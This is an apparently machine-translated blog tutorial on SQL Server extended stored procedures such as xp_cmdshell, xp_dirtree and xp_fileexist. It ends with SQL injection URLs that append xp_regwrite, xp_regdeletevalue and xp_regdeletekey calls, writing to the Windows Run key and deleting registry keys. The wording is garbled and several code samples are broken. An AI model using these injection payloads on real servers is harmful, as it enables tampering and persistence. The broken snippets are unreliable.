Detailed explanation of extended stored procedures commonly used by SQL Server

SQL Server provides a wealth of system stored procedures to help us manage our databases and develop them. Share today introduction Some common database extended stored procedures

xp_cmdshell

This is familiar to everyone, and you can use xp_cmdshell to execute DOC commands when you connect to SQL Server

The simplest example of exec Master.sys.xp_cmdshell ' dir d:\ ' Get the directory below D disk. Of course, this d:\. It's on the server, not the local computer.

Therefore, it is also convenient to use xp_cmdshell matching jobs to import export data using commands such as bcp.

But in the course of use, there are the following points to pay attention to

1 First use, you need to use the EXEC sys.sp_configure @configname = ' xp_cmdshell ', @configvalue = one to enable xp_cmdshell, by default, SQL Server is disabling this feature

2 You can use No_output to ignore the output.

3 attention to the issue of permissions, attention to the Non-administrator account users use xp_cmdshell.

Xp_logininfo

This returns information about the server Windows users and Windows groups

MSDN says this stored procedure has 3 parameters @acctname, @option, @privilege

Burning geese don't know if I'm testing the problem or the stored procedure has only 1 parameters, @option and @privilege passed in are invalid.

How to use

EXEC Master.sys.xp_logininfo

or EXEC master.sys.xp_logininfo @acctname = ' Ginlatop\gin ' plus an account name or OK

xp_msver

This is the version message that returns the server.

The calling method can use the

EXEC Master.. xp_msver

or EXEC master. xp_msver ' ProductName '--this can be any of the name values returned by the result set above, which, if not found, returns an empty result set

xp_sprintf

This extended stored procedure looks a bit like getting started with the C language printf function. Burning Goose instantly So, I think its practical to it the opportunity is not much. Most of the scenarios used are as follows

DECLARE @i VARCHAR (20) = 1,
@j varchar = ' Ajofen ',
@s VARCHAR (80)

EXEC Master.. xp_sprintf @s OUTPUT, ' There are two ' one is%s and Varaint is%s ' another
PRINT @s

Pit Dad is, the parameters of this stored procedure only support character type ... And if so, the use of + to stitching string is OK, so also just introduce? (?_?)?

xp_sscanf

This extended stored procedure is a formatted value for the inserted string variable.

DECLARE @i Varhar (50) = 1,
@j varchar (50),
@s VARCHAR (80)

EXEC Master.. xp_sscanf ' 3 + = ', '%s +%s =34 ', @i output,@s OUTPUT
SELECT @i,@j,@s

Add:

--Get MS SQL version number
Execute master.. Sp_msgetversion

--Get Hard disk file information
--Parameter Description: directory name, directory depth, whether to display files
Execute master.. Xp_dirtree ' C: '
Execute master.. Xp_dirtree ' C: ', 1
Execute master.. Xp_dirtree ' C: ', 1,1

--Lists all OLE DB-provided programs installed on the server
Execute master.. Xp_enum_oledb_providers

--Lists all code pages installed on the server
Execute master.. Xp_enumcodepages

--Lists the DSN configured on the server
Execute master.. Xp_enumdsn

--Lists the SQL Server error log list, and then updates the time
Execute master.. Xp_enumerrorlogs

--List all Windows local groups on the server
Execute master.. Xp_enumgroups

--Detection of file existence
Execute master.. Xp_fileexist ' C:/a.bak '

DECLARE @flag int

EXEC master.. Xp_fileexist ' C:/abc.bak ', @flag out

If @flag =1
Begin
print ' exist '
End
Else
Begin
print ' no exist '
End

--Lists the fixed drives on the server and the free space for each drive
Execute master.. Xp_fixeddrives

--Gets the computer name of the current SQL Server server
Execute master.. Xp_getnetname

--List the details of the current error log
EXEC [Master]. [dbo]. [Xp_readerrorlog]

--Lists all the next subdirectories of the specified directory
EXEC [Master]. [dbo]. [Xp_subdirs] ' C:/winnt '

---List the name of the drive
--Free space in bytes (low)
--Drive Type: Floppy (1), Hard drive (2), CD-ROM (8)
EXEC [Master]. [dbo]. [Xp_availablemedia]
--The effect is as follows:

Name low free high free media type
c:/ 1270386688 0 2
d:/ 1726824448 2 2
e:/ 875053056 10 2
f:/ 0 0 8

There are also in [master]. [dbo]. [sp_addlogin] Inside has the encryption function Pwdencrypt, everybody interested may try

SQL Server contains several extended stored procedures that can access the system registry. But in fact these extended stored procedures are not exposed, from SQL Server 7.0,
Still retained in SQL Server 2000, they may be deleted later. But these stored procedures provide the ability to access the system registry in the current version of SQL Server,
And many people use SQL Server to attack the system, often use these extended stored procedures. So it's best to disable them in SQL Server.
http://127.0.0.1/view.asp?id=165
There is an SQL injection of MSSQL, then
Xp_regwrite Write to Registry
How to use:
Xp_regwrite root key, subkey, value name, value type, value
Http://127.0.0.1/view.asp?id=165;exec master.dbo.xp_regwrite ' HKEY_LOCAL_MACHINE ', ' software/microsoft/windows/ Currentversion/run ', ' testvaluename ', ' REG_SZ ', ' hello '
Note that the value type has 2 REG_SZ representing the character type, REG_DWORD represents an integral type

Xp_regdeletevalue Delete a value
How to use:
Xp_regdeletevalue root key, subkey, Value name
Http://127.0.0.1/view.asp?id=165;exec Master.xp_regdeletevalue ' HKEY_LOCAL_MACHINE ', ' software/microsoft/windows/ CurrentVersion ', ' testvaluename '

Xp_regdeletekey Delete key, including all values under this key

How to use:
Http://127.0.0.1/view.asp?id=165;exec Master.xp_regdeletekey ' HKEY_LOCAL_MACHINE ', ' software/microsoft/windows/ Currentversion/testkey '

Well, this is the end of this share. Next time look and find out. Or you can add